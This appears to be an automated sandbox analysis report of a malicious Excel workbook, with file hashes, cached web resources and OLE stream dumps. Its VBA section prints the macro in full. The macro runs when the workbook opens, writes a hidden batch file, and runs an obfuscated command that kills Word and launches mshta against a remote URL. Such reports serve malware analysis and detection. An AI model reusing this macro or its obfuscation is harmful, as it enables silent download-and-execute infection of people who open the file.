Preview:	/!. Bootstrap Responsive v2.3.0. . Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. . Designed and built with all the love in the world @twitter by @mdo and @fat.. /..clearfix {. zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\style[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	4.974103937872525
Encrypted:	false
SSDEEP:	12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
MD5:	725008F7D019079BD5FDF435862F0AF5
SHA1:	0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
SHA-256:	5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
SHA-512:	EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Preview:	/..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry./.@import "css/style.css";.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\styles[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1743
Entropy (8bit):	5.077735166460529
Encrypted:	false
SSDEEP:	24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
MD5:	EC96E53E57B5D34F762D567CDB29A312
SHA1:	33D59800F24B9967590354A7B47B37000DC5A5CC
SHA-256:	A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
SHA-512:	026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
Preview:	div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\warning[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\warning[2]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	GIF image data, version 89a, 36 x 38
Category:	downloaded
Size (bytes):	1062
Entropy (8bit):	4.517838839626174
Encrypted:	false
SSDEEP:	12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
MD5:	124A9E7B6976F7570134B7034EE28D2B
SHA1:	E889BFC2A2E57491016B05DB966FC6297A174F55
SHA-256:	5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
SHA-512:	EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
Malicious:	false
IE Cache URL:	res://ieframe.dll/warning.gif
Preview:	GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
Entropy (8bit):	4.611711829122016
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls
File size:	39424
MD5:	f758ac579e55bbc5fe8b729bfe99616c
SHA1:	6b91b14af7b7fa8cc7a7b25256eee7f14b4eb325
SHA256:	7b208abf05433369e1503ea96851a1b53eca58c6ef20dfaebf67c6813712cb89
SHA512:	e457e74b209dcd5524f2e943c1eb3c016d60ed3c3fdfc331fdf488bd242113c581b3f8e7c8b627822203febea19b85dadafca855c643b93b261419697458530e
SSDEEP:	768:6K1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:6K1Tgbyw3sz2jyngov9rjXjBCKoAuulh
TLSH:	1E031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	74ecd4c6c3c6c4d8

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:	MARIANO PEREIRA
Last Saved By:	Cavaleiro De Troia
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2021-05-02 18:59:33
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626

General
Stream Path:	_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
VBA File Name:	EstaPastaDeTrabalho.cls
Stream Size:	4626
Data ASCII:	. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
Data Raw:	01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

VBA File Name: Planilha1.cls, Stream Size: 1002

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Planilha1
VBA File Name:	Planilha1.cls
Stream Size:	1002
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 109

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	109
Entropy:	4.257541421397259
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
File Type:	data
Stream Size:	20
Entropy:	0.8475846798245739
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 04 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	240
Entropy:	2.6096962931292262
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	228
Entropy:	3.9071239156716207
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00

Stream Path: RichEditFlags, File Type: data, Stream Size: 12

General
Stream Path:	RichEditFlags
File Type:	data
Stream Size:	12
Entropy:	0.6500224216483541
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	01 00 00 00 00 00 00 00 01 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	15248
Entropy:	5.167290881180269
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	513
Entropy:	5.142452298544354
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	92
Entropy:	3.1873658260020488
Base64 Encoded:	False
Data ASCII:	E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
Data Raw:	45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2599
Entropy:	4.083845578704928
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	6598
Entropy:	3.6025462992311663
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	182
Entropy:	1.6862905000266528
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	1550
Entropy:	2.874874206462334
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	156
Entropy:	1.7820663630707385
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

